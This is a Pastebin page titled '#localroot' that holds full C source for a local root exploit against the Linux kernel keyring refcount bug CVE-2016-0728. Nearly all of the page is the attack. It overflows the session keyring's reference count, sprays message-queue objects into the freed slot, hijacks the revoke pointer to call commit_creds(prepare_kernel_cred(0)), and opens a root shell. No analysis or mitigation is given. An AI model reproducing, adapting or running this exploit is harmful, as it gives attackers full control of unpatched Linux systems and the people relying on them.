Advertisement
blogfakessh

#localroot

Jan 21st, 2016
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.08 KB | None | 0 0
  1. /* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
  2. /* $ ./cve_2016_072 PP_KEY */
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/types.h>
  8. #include <keyutils.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <unistd.h>
  12.  
  13. #include <sys/ipc.h>
  14. #include <sys/msg.h>
  15.  
  16. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  17. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  18. _commit_creds commit_creds;
  19. _prepare_kernel_cred prepare_kernel_cred;
  20.  
  21. #define STRUCT_LEN (0xb8 - 0x30)
  22. #define COMMIT_CREDS_ADDR (0xffffffff81094250)
  23. #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)
  24.  
  25.  
  26.  
  27. struct key_type {
  28.     char * name;
  29.     size_t datalen;
  30.     void * vet_description;
  31.     void * preparse;
  32.     void * free_preparse;
  33.     void * instantiate;
  34.     void * update;
  35.     void * match_preparse;
  36.     void * match_free;
  37.     void * revoke;
  38.     void * destroy;
  39. };
  40.  
  41. void userspace_revoke(void * key) {
  42.     commit_creds(prepare_kernel_cred(0));
  43. }
  44.  
  45. int main(int argc, const char *argv[]) {
  46.     const char *keyring_name;
  47.     size_t i = 0;
  48.     unsigned long int l = 0x100000000/2;
  49.     key_serial_t serial = -1;
  50.     pid_t pid = -1;
  51.     struct key_type * my_key_type = NULL;
  52.    
  53. struct { long mtype;
  54.         char mtext[STRUCT_LEN];
  55.     } msg = {0x4141414141414141, {0}};
  56.     int msqid;
  57.  
  58.     if (argc != 2) {
  59.         puts("usage: ./keys <key_name>");
  60.         return 1;
  61.     }
  62.  
  63.     printf("uid=%d, euid=%d\n", getuid(), geteuid());
  64.     commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
  65.     prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
  66.    
  67.     my_key_type = malloc(sizeof(*my_key_type));
  68.  
  69.     my_key_type->revoke = (void*)userspace_revoke;
  70.     memset(msg.mtext, 'A', sizeof(msg.mtext));
  71.  
  72.     // key->uid
  73.     *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
  74.     //key->perm
  75.     *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
  76.  
  77.     //key->type
  78.     *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
  79.  
  80.     if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
  81.         perror("msgget");
  82.         exit(1);
  83.     }
  84.  
  85.     keyring_name = argv[1];
  86.  
  87.     /* Set the new session keyring before we start */
  88.  
  89.     serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
  90.     if (serial < 0) {
  91.         perror("keyctl");
  92.         return -1;
  93.     }
  94.    
  95.     if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
  96.         perror("keyctl");
  97.         return -1;
  98.     }
  99.  
  100.  
  101.     puts("Increfing...");
  102.     for (i = 1; i < 0xfffffffd; i++) {
  103.         if (i == (0xffffffff - l)) {
  104.             l = l/2;
  105.             sleep(5);
  106.         }
  107.         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
  108.             perror("keyctl");
  109.             return -1;
  110.         }
  111.     }
  112.     sleep(5);
  113.     /* here we are going to leak the last references to overflow */
  114.     for (i=0; i<5; ++i) {
  115.         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
  116.             perror("keyctl");
  117.             return -1;
  118.         }
  119.     }
  120.  
  121.     puts("finished increfing");
  122.     puts("forking...");
  123.     /* allocate msg struct in the kernel rewriting the freed keyring object */
  124.     for (i=0; i<64; i++) {
  125.         pid = fork();
  126.         if (pid == -1) {
  127.             perror("fork");
  128.             return -1;
  129.         }
  130.  
  131.         if (pid == 0) {
  132.             sleep(2);
  133.             if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
  134.                 perror("msgget");
  135.                 exit(1);
  136.             }
  137.             for (i = 0; i < 64; i++) {
  138.                 if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
  139.                     perror("msgsnd");
  140.                     exit(1);
  141.                 }
  142.             }
  143.             sleep(-1);
  144.             exit(1);
  145.         }
  146.     }
  147.    
  148.     puts("finished forking");
  149.     sleep(5);
  150.  
  151.     /* call userspace_revoke from kernel */
  152.     puts("caling revoke...");
  153.     if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
  154.         perror("keyctl_revoke");
  155.     }
  156.  
  157.     printf("uid=%d, euid=%d\n", getuid(), geteuid());
  158.     execl("/bin/sh", "/bin/sh", NULL);
  159.  
  160.     return 0;
  161. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement